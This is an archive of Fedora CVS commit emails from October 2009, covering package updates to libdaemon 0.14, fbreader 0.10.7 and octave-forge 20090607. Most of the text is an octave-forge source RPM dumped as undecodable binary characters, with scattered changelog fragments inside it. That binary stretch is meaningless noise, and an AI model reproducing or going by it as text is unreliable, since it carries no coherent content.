 make install DESTDIR=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT \( -name *.a -o -name *.la \) -exec rm {} \;
+rm $RPM_BUILD_ROOT/%{_datadir}/doc/libdaemon/README
+rm $RPM_BUILD_ROOT/%{_datadir}/doc/libdaemon/README.html
+rm $RPM_BUILD_ROOT/%{_datadir}/doc/libdaemon/style.css
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -67,6 +70,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*.pc
 
 %changelog
+* Sun Oct 18 2009 Lennart Poettering <lpoetter at redhat.com> - 0.14-1
+- New release 0.14
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.13-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libdaemon/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	28 Jul 2008 23:14:06 -0000	1.6
+++ sources	18 Oct 2009 02:54:08 -0000	1.7
@@ -1 +1 @@
-ae9113fcd825d5a7f07e5ddccb3c3102  libdaemon-0.13.tar.gz
+509dc27107c21bcd9fbf2f95f5669563  libdaemon-0.14.tar.gz



From lennart at fedoraproject.org  Sun Oct 18 03:05:32 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Sun, 18 Oct 2009 03:05:32 +0000 (UTC)
Subject: rpms/libdaemon/F-12 .cvsignore, 1.6, 1.7 libdaemon.spec, 1.17,
	1.18 sources, 1.6, 1.7 libdaemon-0.11-stdarg-fix.patch, 1.1, NONE
Message-ID: <20091018030532.B235911C00E8@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libdaemon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6813

Modified Files:
	.cvsignore libdaemon.spec sources 
Removed Files:
	libdaemon-0.11-stdarg-fix.patch 
Log Message:
New release 0.14


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libdaemon/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	28 Jul 2008 23:14:06 -0000	1.6
+++ .cvsignore	18 Oct 2009 03:05:30 -0000	1.7
@@ -1 +1 @@
-libdaemon-0.13.tar.gz
+libdaemon-0.14.tar.gz


Index: libdaemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libdaemon/F-12/libdaemon.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- libdaemon.spec	25 Jul 2009 05:29:12 -0000	1.17
+++ libdaemon.spec	18 Oct 2009 03:05:30 -0000	1.18
@@ -1,6 +1,6 @@
 Name: libdaemon
-Version: 0.13
-Release: 3%{?dist}
+Version: 0.14
+Release: 1%{?dist}
 Summary: Library for writing UNIX daemons
 Group: System Environment/Libraries
 License: LGPLv2+
@@ -45,6 +45,9 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT \( -name *.a -o -name *.la \) -exec rm {} \;
+rm $RPM_BUILD_ROOT/%{_datadir}/doc/libdaemon/README
+rm $RPM_BUILD_ROOT/%{_datadir}/doc/libdaemon/README.html
+rm $RPM_BUILD_ROOT/%{_datadir}/doc/libdaemon/style.css
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -67,6 +70,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*.pc
 
 %changelog
+* Sun Oct 18 2009 Lennart Poettering <lpoetter at redhat.com> - 0.14-1
+- New release 0.14
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.13-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libdaemon/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	28 Jul 2008 23:14:06 -0000	1.6
+++ sources	18 Oct 2009 03:05:30 -0000	1.7
@@ -1 +1 @@
-ae9113fcd825d5a7f07e5ddccb3c3102  libdaemon-0.13.tar.gz
+509dc27107c21bcd9fbf2f95f5669563  libdaemon-0.14.tar.gz


--- libdaemon-0.11-stdarg-fix.patch DELETED ---



From salimma at fedoraproject.org  Sun Oct 18 03:16:25 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sun, 18 Oct 2009 03:16:25 +0000 (UTC)
Subject: rpms/fbreader/EL-5 .cvsignore,1.10,1.11 sources,1.10,1.11
Message-ID: <20091018031625.6749D11C00E8@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/fbreader/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9203

Modified Files:
	.cvsignore sources 
Log Message:
Update EL-5 source to 0.10.7



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/EL-5/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	6 Feb 2009 02:22:11 -0000	1.10
+++ .cvsignore	18 Oct 2009 03:16:24 -0000	1.11
@@ -1 +1 @@
-fbreader-sources-0.10.3.tgz
+fbreader-sources-0.10.7.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/EL-5/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	6 Feb 2009 02:22:12 -0000	1.10
+++ sources	18 Oct 2009 03:16:24 -0000	1.11
@@ -1 +1 @@
-0610dc1757a69f469dd56d45dbb300e5  fbreader-sources-0.10.3.tgz
+145f4d2ba24c54288bad2d66ddd2baf2  fbreader-sources-0.10.7.tgz



From alexlan at fedoraproject.org  Sun Oct 18 03:27:52 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Sun, 18 Oct 2009 03:27:52 +0000 (UTC)
Subject: rpms/octave-forge/F-11 octave-forge-20090607-15.fc11.src.rpm, NONE, 
	1.1 octave-forge-20090607-ann-swig-build.patch, NONE,
	1.1 octave-forge-20090607-fixed-build.patch, NONE,
	1.1 octave-forge-20090607-includes.patch, NONE,
	1.1 octave-forge-20090607-java-build.patch, NONE,
	1.1 octave-forge-20090607-parallel-build.patch, NONE,
	1.1 octave-forge-20090607-vrml-build.patch, NONE, 1.1 .cvsignore,
	1.14, 1.15 octave-forge.spec, 1.68, 1.69 sources, 1.14, 1.15
Message-ID: <20091018032752.4B5D811C00E8@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/octave-forge/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11528

Modified Files:
	.cvsignore octave-forge.spec sources 
Added Files:
	octave-forge-20090607-15.fc11.src.rpm 
	octave-forge-20090607-ann-swig-build.patch 
	octave-forge-20090607-fixed-build.patch 
	octave-forge-20090607-includes.patch 
	octave-forge-20090607-java-build.patch 
	octave-forge-20090607-parallel-build.patch 
	octave-forge-20090607-vrml-build.patch 
Log Message:
Update F-11 branch of octave-forge to 20090607 to sync with Octave
3.2.3 rebuild (#525423).



--- NEW FILE octave-forge-20090607-15.fc11.src.rpm ---
????



Octave extensions. The extensions in this package include additional
data types, and functions for a variety of different applications
including signal and image processing, communications, control,
optimization, statistics, and symbolic math.
 5923e02b81a8c21


octave-devel
??D??@D???D???D?A at DX?@DP?@DF&@D??C?@C?i at C?E?C?E?C?E?Ch?@B???B???B?`@B??@B??@Bl??Bg??BIC at BG??B??A?=@@???>??@Alex Lancaster <alexlan[AT]fedoraproject org> - 20090607-15
 20090607-1
 doraproject.org> - 20071212-7
 .sf.net> 2006.07.09-3
 er <qspencer at users.sf.net> 2004.11.16-6
- ftp, graceplot and spanish packages need fixing upstream, leave
  disabled for the moment
- Rebuild against new atlas, fixes the ieee warnings.
- Disable 'fixed' package again, patch fixed the build but fails at
  install-time on i686 probably for similar reasons java- fails to
  install
  packages with subminor versions (thanks Dmitri Sergatskov)
- Add patch from upstream SVN (r5936) to build fixed-0.7.10 package 
- Renumber patches
- Disable include patch, now part of parallel patch
- Disable spanish package: doesn't build with Octave 3.2
  broken package.
  as (yet) another broken package.
  the whole thing to build and fix broken deps (upstream working on
  it)
  (bump version of package to 2.0.1)
  update to 20090607
- Drop upstreamed patches
- Enable octave-parallel for 64-bit platforms
- Add ftplib-devel as dependency.
- Remove obsolete dependencies and obsolete build steps.
- Update package description (some functions mentioned are now in octave).
  new octave package manager
- Prepare for eventual splitting of the package with provides
- Change octave version dependency to octave(api) dependency,
  which is now provided by the octave package.
- Patch bug in imread.m
- Patch LOADPATH bug.
- Fix configure command so that m files containing paths are
  correctly generated.
- Disable mex related functions (they are in octave now).
  from netcdf to libnc-dap. (This requires autoconf temporarily.)
- Patch added for incompatibilities between octave 2.9.4 and 2.9.5.
  (The ImageMagick-c++-devel indirectly brings in the necessary
  modular X devel modules, such as libXt-devel and others).
- Define CPPFLAGS so it finds the netcdf headers.
- Patch so it will build correctly with octave 2.9.x.
- Change installation paths so they now depend on the octave API version
  rather than the octave version, which will make updates less frequent.
- Query octave to get octave version dependency.
  information was producing wrong results on the new build system.
- Corrected instructions on creating patched source tarball.
- Remove explicit BuildRequires for c++ compiler and libs
  (not needed and causes build failure in the build system for x86_64).
- Add patch for problem with main/plot/legend.m
- Add fftw3-devel to BuildRequires.
  so the collection is licensed as public domain).
- Moved ugly path hacks from build to install so that RPM_BUILD_ROOT
  doesn't end up in the code (which it did before).
- Replaced upstream tarball with patched version that removed GPL
  incompatible code.
S#S'S)R"?e
W?@{&?	?LE??+5Zu?i?Z?(Q???2@\*????J?????
?('?N????Dt???R?
G$???\??P%R?B	?>v`p?,???xMs5??,$!
bB?]?c?B??0@??g/????P(?(????x?\O?U??a?????.S????N???i0_,M-?`.,H???:?????$r??
??B14*>86??
s??:?????e?!?X?+[???AN? ??j?^??*?s!o0???C??K1z??3?????`G\????>i at H???::U??W
?+	I???Z?????b`
?D??j??@B?????i??n??????jT???e??5?;4*"4*?O?@n:9?i??|?%p???,?
"?????'p????L??$icF?Lp???h?L??V?X?\???G
??MI\/>??\.????2?t
?@?W8??Y?KNIA;
%$???t_(?
2
?*E?Se
u?H!Li?P???z?VHd*?@I1?ju?^C7??i?8????Cs?@?D??P???
)E????%?????E(_??)??9eh?H?a??u?""}
?P?g??d@?e?#????)?nM?
B??^???D??x??5?&??"??u??'
???A]"??B;?#?=b???
???
P0Y??*??*.?,iqs?u$T)$?=H>?????`? ??0D4??lz????=???h0??e?yb&???k>+eq???Em at D?<8|???^<w??P5Y>B??K??d??\	???q6???8?fU~6???V0??x?Qf??"?F??aJ?Z?B7k??f???S[??Hr!?rus?????V??4Q/??*??'
iiP??";???$??

a4???BL?<??????J?K?0????F*	Q??;?V/y	(?l?)???????(1?4?KdR	r?\'$??KkG?t?I?R%?)~"`?~'~????~1~"?8~"?g??R?c??|?fy?8l??jE?L)K,??n?????{????x??x?/??a\?7????????;Z??/??????EZ??<^t????l?QL??(D:??
?Gb???v?????}C J1P???????
????D?f?!??@??a%?X??G????Q?????<+??dQ??R|?Z?z?aqY???B?@(4q??
??7???????x??k{`?7????????<Q?"J0??+??)dj-??J???+??"?p/V??,$5>????P????B""0p!?tx??k??t?sq??)(?J?w?*?A????!(??]?\3w?;5???\?a??@??[????E??????(?k?j???4z0?sM~ ??????B????*??G]0????P?(FOc?E????=:????"?(xXIx?K?^
zm????+p?J@??m10c???UR?PH)?%??????F?????`?+?f??)?07`??F?`??h[?<???d0???1:0d???D???yx"????`1??;FG?~H?Q?Q+?PkA? D?k|S?	???M??ku?%E?1????W???5??Z??C ???g?3?????Y???g=C#??W??w?pzcA?q???1???????Q?????,??Y;??
??(?????:??/???p?e?>?
 ?d????H??O?B{?<??5X/?'?>??C????n
?	???r?H??J??P?'?z8 8?K?0("??#??????z??5?L/???dHp???Mc???????%$??r?WN???,	???E6?9i$N,T????????i?
?@?(
(Ap??ls????
?*T?l!?5?kQQS?6?Har?+?p???????? DAp"?
p'?q?-Z???????'????
?7?#
T?ZBR??9?P?*E:?#??p?S aa?:????J!\"???N?(g?)?=??H?
?fB????0????*?)???:e??0?&??
{.dU?&tT=C=B(??(]??!?iq?8O?N?^??%$??H??0?4?4? $?? bez?B??`zEQ?
?j??Y`??z?!?Y?#_S??a?6?q??p??:?=?K?]eFP30?	
????|~?k?p?3??$???
?t???????E5]??#-@+?:@1e{?#??$????,1$??r*@
??R???A??5??8H?
??%?
{J%???v
?????????N??.Q?B?'??gp?????/2,???K???%???"!N??=6?((?????Z?7?i^??N???Y??(???A?	?Y,]???H???2??NC??????
o?4(R??#?J?
?T\HY9t
??"??B?b{?N??F?D?rQP??odz0(??A?
?G??(??0?K????i
???"My?j?`|??
?C?lV?????^N-????X,?`???,l?V????????*O??9?8???b????r?`??Hk???%d??^e?#J{1???/?4?3????*]'L$&9p?%0??Xpt4D????j-DZ??e
?aA
4?&5??(??B?? 
?02?iH??^%W?H?8[&?
4??? 9?????????&S?Qr/????0???R
?Y4?`Gk?2 at l?w????."(hTc?YC0??Cf_?^???%??	??P)?Z???`??>9?|?l?sJ????1<C$??????Vhi???\Gs???Z???(?oQ?mK6??wm(??rL??(Se???8.|/(??_r??y??
??????+|P?st???a^n9>??a???L??{????+??o???Z???&??K&O??Ul????_1xJ#Q??S???;(n?f3???????
|???????_???!?????
????Qt?D??????NltC??Kl&?K?.?hSYE03?6???0#?j?b???C???A??4?b?j?????H??P?&??L??)?M L???/h????`???$\??q$???i?Y??(???@`5?
???P????Kc?M?#C??cY?????0?????DC)??2?N,?u?m?@CJ??#?N&0`??cd??????G?????`?Y??? ???FR???2f????`?P??
???3?
X??4`K???S??~???X??F??p??-?F??U??e%?????|??,?=???/"?p???????Z?????????????
???	SY?cJ?,	?1????3
JX?\)?"???q?Sbe?.!!BX?r??|
????0)???"?\???"1.??mTfS6?	??
X????B;??F???]B??V?c????1??????%??+Q);H??NH?C9??7??A?I?d?0Mo???9-??/sr?>=	???4.???e L??F?sPL
?2?~?
??'
b_\????????l??p?????

}f`?E????=IX2?
??!9?< ??
?#??kSS2cA?
???
??&>?????????G???c?@?@??7h	?A[!@??
?BPZ?3?N$nJ?6?E??6S????L??s???]&
o?'`JR?=H?Y)?i??uv?(?AR??Hq*?
R?????G?T??4?, ..1??-????R9?*|??????GL=D??=\`?a? ??????J}??(??[?`?JP8?FN?\&(Fq?F?Pz!^)y?????*??7 ?Q?`????2????
???:? '??6?:????
3?|h%s?~/????<?4?RQ?9
?%<^?C)K?
.]&??
Vz??Zdl?6??"?P?!/??L???UY?@Q??5;??
r?$Ra?1?!???raX_?KR??*?@?%???Nm?etcP%r5??z?2?C??A{O??A?R	Z?B????!7u?!??'6???????=?yo?f?V<J?B????;#xlr>q?)????J)Q-?t/???M?B???t at g?? 0???~Rp0?`+QP???"????3J?tvN0?T?r@?8?9?

z????jF|K??z??l???h.{=??????7?b????,?{??M?r??d/????JYm?\}??s???g??]
&?J?2?????/?1zq??	?4??m??7H3fiS???Q;?/8?Y?$rB?M??+??4?
T???????[cP?dS4ZG?Z?1?!@C?zaA?`??8?|hr1?2k?cLD???}"???!????F??	???!dj?V??$U?:P?q???T?:?$J?q3????9d??e6??0??t?J#?????%???k?jj!#a??s??9j]:?&???Z?H?C(??p?X??H?hda
??0G?:????n?ihN?+?i??I
h??V??(?t??
(c??%????i?3?g??
x??m?}?????L-??t??
????1???F?#W?	o????i?????Z??&?LILAL&3e
?t?8d?D|?y?h4{????U??%?	????W?9??R/???k?_?u"?'!w?,??PD?FU?a????Qp?\D???0??XL?WD>U???T???P?:n??N?("?4"R???1	%??$??C(\??f`:?Z?????-??H%???D6?g??h???p?4?m?U??F%?x?g???4`?@?%j?)8P?)*??0??\v
????"5???L???byZx?N?SP???P?P??wp??Q?-
??	aL?J.??*`!P=??{?%FN)"?b
?FK
????<1?0??kRdK??^?????5?+????j?N!??q??(fLE??v??-??I?????R?????K??D4|?2?s
D?
???+5?-?E???Q?0*?:?Q>??@\0? v??!4?u?

??CBW?L%S?+???(?=????o??o???QW(??eQ?0??Up?5?w??7?[P`??y818??????
&n?,?T0??|Ya7???Gy?????d1?H?D?*'?	???,Iz??k6,?J0gA1?iXWhnP??????$??MT?c%PQ??*[?H*??J???Z????s,?!?Q??7?"??-?Q???F???X%???[??\01???F?X?d??GBAX~???=?l??-V??
&u?O??R??!??8??f???x`3??L`?9???dz??-?,?????+??????N??55Is
x??T?ka?"????O? ???L$??pS???V0??]?????sf?$>F9
?7???????????
???:??,$????B??????hp1 at Tm&i2?8???????
Z??-?U?E(9???
?pX?-?^*5d}???I?w8AN=????.???,0??????vWj?P????1das<f?~?pB??
@L?@????k??5???gv?G?4?P2??32U?? h??L9??1;?
P??D??:1J?:QU?;????-R?????P~Q*%F???}?@-??F) p???;??Cy
5?
!P????pq??????;??t;??A*??(xO3????1?y???lO?3F????0T??????*
?????Z??#c?Bc???|q?	???V?<??-p6?\C??L-???1??]B#???????????A)> ?I?d?????x???XPh\|LxG?-.
?????????DUy=???hjv@????*5pxu0F????aV???Z?@'g;??^???i?
	hJ5J???]???*?
??	:H?
RX??Z???t
0E!??????G?
?X?8=???E?W
x@[
?"?!?????$R
A??y???>1?P????0?/*??h???.dtG?!?@]???`?n(????
??@???M ?.A ???'??
?????DRY?:??P????8a????9???J?
AG?v????R???????tD?:????
O&u6?!?????q at lF????`??Db??w?7?2????J!=LL????c+\W?.9s50-??f??B????? ?l|??$f?6??G?r???Q?/L9/??a?;Ad?HlXf+%??K???????O?F$?Q<???
Rn4???#???7??L\?	?cI?(????"?
0D?????(I
!??+?6
+???mws?j`}'$tD??Q?5?K??B???P?B????V?dTx???L|A??:
??n$x8,??6?\??W??/????????p<??O?[R?!??*5F_	?!e?[#v?x=Nb.????J	
??aL"G?D@H?)=M	?0???'???Ha?Uzq-??6?"???3 HE?T*??o?O?@az?_P??Nb?'9?'??
??o?]??XR?z?n??CiH???????x?A,?J???R?0_-?VH????v??
0H4??9?50??
?? ?
.???8y2??rG?0]L)*??C?D?????p/?	H?H?I???c` ?g?Yk'L??0???2?(m
??b&????"?&???0??|OOwOOg?3?a?a?'????????-?~?	07F???{?=<??
3
?^$??@?0??t"E??????b?K??
????
9???????)5??@?yr?n?%V?R??B??\?d2?g,??BM????aRX???d??OX?G?N??
&?S'g?<c\????f?K5?68?p??0?8?,??????P????@??D???8{C??yz
????#???????5RH??%?qJ???4g??64G?R???????!*???q?*?\G*%?0?T?=?????YfFGK??,%???0?????}!??????/?????3X?<?_?4)?"![?W??@?:??V?Ax_@?F???	?b
9N????!?_F"?2?,/?? ????Ps???????
"3:?6O? ???Iv?;??-??P0c?"??48F?T?T?K???@>?4E??z?Q?1t???|C=Dg????=H???XN
?i??zxz?oi??/?Zk6?`\?&?Mo4??O???$???j??%G??????F,????U-
f???W	j???wm)?	?$??
???,?v'?&iarP???
	?0?F??????N??0
?h?R?1(W?=?,??yDt at PL@|'X?EY??L?_??!??Zi?????B??R?hp??:???4ot?a??t(???????i?W]????A:??L?.M?????????>(p?y at bS
Bf?1?2fE??=Q*B?????"???:C???$@?M?CF??d?:??=???p????z?1t??6?L?Mt??RH?~????bG???
?Id>D
?N??
?K?!@
0<??E$??LB1?lu??f?q)???ZU?Ht"	?W??_D????????S??Hn-A?????)?"xR?(??;??M-??'@?y?ow?h9?@?U??=0&&$"?c???pOP? @cK?-?&?q	?,?S&?D????f~??f"??@f????#?\??#???????E	?	tn:?WT?U? 8b(???w
J???G J?zi???,?????\w?G??????
??>?d>4?)???Y??\2UQj??p)w?VO7?f??
2h???'3??V8??F'"P?0:R??????D0??b????.5*(??jP7Z4+???lE?[`?N?P??P"?? X??	
?x=???2K??9)??j???z5cR]:?D?H?L??*?t??A
??r(??Q???z?W?BA?R???/c.47??[??? ??!!e?lp?t??``????3??	:3:??|F{?H???N?C'd????!???^F.??d
q
Ae???????n?9R*????*@7j???S
&???`?qg?5
??m`????L??@P??
??$????????<@-????dD	v3_??z?qK???L.???e?-?2?????
A?????3??I????,?JSd?O?y?%?;)K??
?!p???`	)?j???v
???U????jmd3?8f????R?nnQ????w??&:?.?? e????)Y??Sj??Y??q????6^i=>on?L????^??????_M?W???????(??n'??x????J?1????c?vv??cG?{70????6?WKA?U?w???????v??:?????f???~?_g?c????'??4i????~?h?????o??????uo?=.??]??e????k?t^???????????c??>?
yT|?]UW?Z~????N<9?????{O|]?z??y?????~?d????;N?6#g??{?????|m?}u???iP?xk????&_?eu{Q|???k???y??z%??uY/???.EW????F??:y?????lf????~U?=??=)s
???,???j???=:D???lp??.??	=;???V??M?????????a????^??ls?yK?/?&Jkw?uR?;/a?*kV?????c??)yw????p}?O7?9?6i???????/?~q???r?\]??.x???5v???y^?g????*
??c???2o????????;?>?;=???G????????'????????d'?*3????]???`?r???
?{?-?zz????o???8?D
?E!cR???????u???V?.??]w\???q???QV?	?#v?W[????h?????]W?8?es???&W??7?????m?[????J7nD????al???L????k???w/u?R??y??S6??i??p??'\V?-???q???f?
|s?oQx????C??_7?u?E!{}??_?p3c???O6u??9?y????6c?[???)[?????<,4s???x?6G????{??3??9??gu?8??E???!?.???M????\;G??C????eT????/???>????~Qf?t?k?????K?????#?????z>BVg?????g]?XU????????g?[E?8?=?3??'??u}??????w?????3?*+???????j?{?5>?????W6????nX???'????????Ga??F?]??<:??6s?_?]????????????h?l???=?^?R??_|Qod????_?.?7@?????
????`ZK???{???I??X?}R?>??b??+z?z???x????}?Qs???e??:l9????iwYVC9??????B78z????-??nG?~???"B?m??y?)]?^??*?}???6???S?o??o?'}^????o[^?9???V??f?w??????by?kiu;?^;6j??7??l[RsfF?+?f?N??dP?z??u??<?~Q=?K??lG*?
Y?~?{??9??Ve?}??????L???K'??;?c?????uL?_??J'?s[r??;5q?3??8??[-???????C????????
???xe??????????z@???D??*o????????o??t??)^?`GM??????6m?-
??????????W??y#??mX?^??6???y??????=???d?u?????7?-y??zwv?8u?^??Gv?'???6???b???W/??='xj??>?+S?SO??????u?1$???%?f?v??hfw?x?????/??Z?P??lR??????N??1b??_e?uJ???????????>]/?P?n??4??j??v?w???<cY???u?T~???????????????5<?y??qR??????.p?I??7???]????Y`???????`??g???7?U????npp???9?????C????^H?7K?????{hB????R?G????xB?????=????VwOps[?3D??????}??????z?}?(<??$?????M??~?q?????>?= 8?qx?(??rz?????~?(='\??????????(f???C??o???O??=	?f,??m?'??N??m'???&???M??A6nU??
1??{*v?nh???
????9?e?h??>???A?>???c::uL???z??C?<?nl~???????u??????(i??U?.?????usg?%W???=W??????u??ZC?t??#i?xkaV?Sa??=#?3f=-?<k?L?aV????t~z1.?????A?s?O?z??i9k_?l?p?Si?_]Mz?/?j??V?X??????Un??~t????i?N/??2?i???9??J?[?}8???????^???????y,???????{???'j??}????oOo?I|????????k?[??????#?`???
?\????W?V`???q?.=kl?<????Kw??=????.?roM???g?Bx???|k?,?~X}e??????=S%s????e?*~}r????>Z?????????/v?????W?????????j????????k^g]???2??,??
??_w??
?}?S?????><,J????&<?u??7V??
f????R??g????99g"???L^???6?)?O??????Z}??[U{????I???Z\?W?+????????=???????:8?9?H#?>????????6?;??y???)???????j????am?p?????.?_?zz~???{????4`?????gKo7?o????#??*??|???n!S???07?W????c2
?y3???ZIG7?6?5?*??^???d?me??Q???;?:?n?_vI?z~r?X?qr>?4????????{o-?????Q??ON???LQ?????U???[?iRv?j?m.????,|???>K\?5[???????oy,?:V?vs??????3?	/}???e??&??c?O9??]r??5$A??t?{??Z?[??zD????96u?j????????????n????e?V??[?b???}U?=M????Z?c????'???????????</???gfl????9/uv?T	he}?Qp?r???4????2v%?s|???????U??U?z???E?o$??</??????;<?i???w=????????s??L?S???#??O???F? ?????a???a?Z????B??????V??q?[?:???1?????????L???]??:?
b??u?f_s??Oi%??????cx??C?*k{q?????		uug??n~???n??'?????>?G??a?|.???iS??j?[??);????????^|TgF????
?W?]??;????????(???Q???M?Qw???c?.n?]?FM??~_??u???{??????V????=??t?????l/??????aq9?'1>??k??~??????V????2Zmh=3??H??f;??y??y???????=jo???M?R?????=6?U??i7m)????i??o???q?s??????????ho&??????'?i>t}???@???7l??>*.?;????R#??cc?p?5oz?w???/6?=?KR???;??m?U?o?j?]?d??K??,(?Tx|{?g?9?r_
??#?K??m?*7)6?T??????????>57???x??d??????:??F??????/?8t?`?x????y?l???<r_+?`Y?M
?Z???yU??fG???\Cw|5?????o??w????7??Vp?P!????????z=??y???_t????m??????sh?k_??
????n`?{?r_A???[?<?g	??} t???????O?<?_?q?{?6?q?{k?Cg?>?Ci?Wv?o??h?>?Y5:????????*?a?&?=????S?V??j?y[,??+?????[??Ui??lZ.??I?y????????U?Iu???????,?euZ6????Q????vN?W,?????s???!6?s?k?IOR?{?????y???-_
|?kC?0??}???]Lj*h?"??????o[?????7?C?0?2????+[????v????????-90?/'l????z?????????n^?~?Q??9???^?g`?Sfo?>i"O????]??N??-?F?/???Fb??????!?y.?D??7?H?U??RN??m????AYu???ZAe??????Y#??]!???]???v??#??)??i??b?~?l??c?v?8?m6iW?????'~[???????6???;?5?n??2?&???]?????[????U???pQ???U??|~?????????f,??m??'???s+<??9????R?????S????dn?-?R???fw???w??=??x?5????_?f~???7???2??
/?-??yn?q??=?_?4?rd?????o????G}??W???1w?{p???????.??ss????X????`???tY~?J?1????
y?Y?
"{??`????_S?8????^????oSpx}????}3x%???]_??1??[??l?{m???????pnK??sW9?f*_h0?\$Mx??*?v???\?
?|?bZ??=#[????\'??k?J?fX???~t???k?*?|?Vrt??m?}??>?3*?~???N??\nM??w?N r?r??6'??7??~???=?=??/???~:?X????g??1?F|wZ{1?l??????O?J?????Qp1.????S???
????7H?0????5c?L!7?+??*upn??????M??-?^{}?G>?Z??m?=N???c???s??vjJ?ZD??????5??sx?S???7?????^K???7?n??Cy??????k>????8????}  ??3zq;???vY??q/+???i?s/?e???]?l???!?g???tr??\5+?iD???l~?\?????*+???8zK??k??????q?j@??m???_*,R??u?{??@?O??Vi?k?7K???????Q??y?7?l???(U?????|?`???{C???
I??????e/??6??[?>e????????-?'??????h??A?g?[]?[?Z|???y1?*}?Q???F/???0|???z?Fw(Y????/9?K?t??c6???<8????:????_?F	??S?l?v?dd?15>?}?????????v?=?????~??v~V?Z???h?????????.???u?????X\?T?~2???r
???k?~??o????z>??G???????W???????o??<??k?Ch??5???????<????wg?L>??r???;???????@?d???O+??\.??6[?\?????(AB?U?j??mpi????R?V?B?L;9???X???}?n?8????Pt?????/?k????5?D?8?t????S?????????xj?Xb??[?n?9??%??????g??X?TN?????x?zg??]Vn??????a?%uz?_?#?%z???????????????k?6?8w??k????h;?[?n????r??X?=???A???Y?????c0???-g???~_??~?W?????Q?1??}?u?.??8`????k??^??pt???????DKD?7Yps?4??????G.?Y?rz??`????u??uj:???D????^G??????????????M?s???*??[``????v??|g???????????????{`}??5?m????}?x??}+???t?u??????=?WY???.??????YKf????_$?O??v????{??#=^?Mz??,r???{??????f?5j"?0d?N???-ovaD???-yp?????????;?VY?ij????vb???????^?2h??v??eo???:k???????|???Hk??*?]<~t????IoW??g??Q????:?~??y?????g?]z/?@????!????7??*??????.9&5?5??n?H?7?0mh?????G??y??|????zrr?'??<I?k9>vC?p?[:???}3??'m
?r~??W??o???`?
??Z=a?'???}2+??w1e????>V?n?`?i??y??|x?t??
E??????x?:?????|?>???Y??}FN?_sK?e)G:?kp??J??`g?!??On???????<\?'??????n,?z?|???g?4Py^??????o?U?b?sN
*???g??????:?:?????y??~??????\??m????Oz???d`?~?L??????<??????,i9???c?W
?	??g???????zpO?fSfP???>?e???O?Og?d??
????akS??????dAS???v???]}???=[??f?m?Y??q?Ev7??r??``?w.?rd???+]?
?o???~?????Bvo????	?W{?,??&???m?y?%???%???x?????3?:??W????G?M??fFMdL8?Q??????u?S???A7??t?#??`W>v??????8?_??;|iF???6??????AM>????????4c??==o?{??]?7???E???N?p???9e??'??Y4`b???????o7f!????nM?Yz???`?WV@??G=Fd
???.?g???n0??c?FS??7;C??w-#??????????????????&?O?-?NV??????c3??G??2?????0Va?????O?N?"?W????w?U???.?????_???r???N??l<>3?????>???MCW??Z????w?S??f??8??N?7}Q~???????,??_?o?c????/-O?f%?x?|???
?1? +|??W??D??x?????o?????.[6??V?????u5?????V;????r~R????C??oH*V?
???9vaT ???:??a???\????F???????#DK?<g&?V????dl??;?v?????????'?dU???amGwL\???y?jY?Q?
?v???5~j?hV?]m??{??q??+z??y^??????[?up???????Mr?>?fM??0j?
?P?3l???????;%~???I??n??U?t|1/???*???v<?we?IIcg??<??????J|8????(??#o??%?W~UU??4????????^$??d????????y????M???r???*???"???-E?vn?}L??????f??????}6mi?t@?v??i?p^??]?>???|???=Tc??? M?v???????W?sy????]?lh???-??Q)??n??w????td?o?]?????a?y;f???7?o????'?5????5?:?0????V?????	KB??? )s#?{??sCk	???7`?h????????w??????W??EU&?n?M??W~???c?p????????;????[?|??PF??c?u??p??
m??]?_lz?S?[z?ud|??$u?+bS??k>ni??????geW??>s????>??????????R????:??wnB??;?N??k/? ???AS?%~??v.w`N???>?_-8???v????xNl?o???W{????1?6]??0?????#?????{??q??>?Y?g-??{??.c???5???{?^???=??4??f????????????p?Z?b??i??6q?????n?d???7t?g?????s?FN=8??v?1?z0l?9???um??}6n???p?@Q???[?
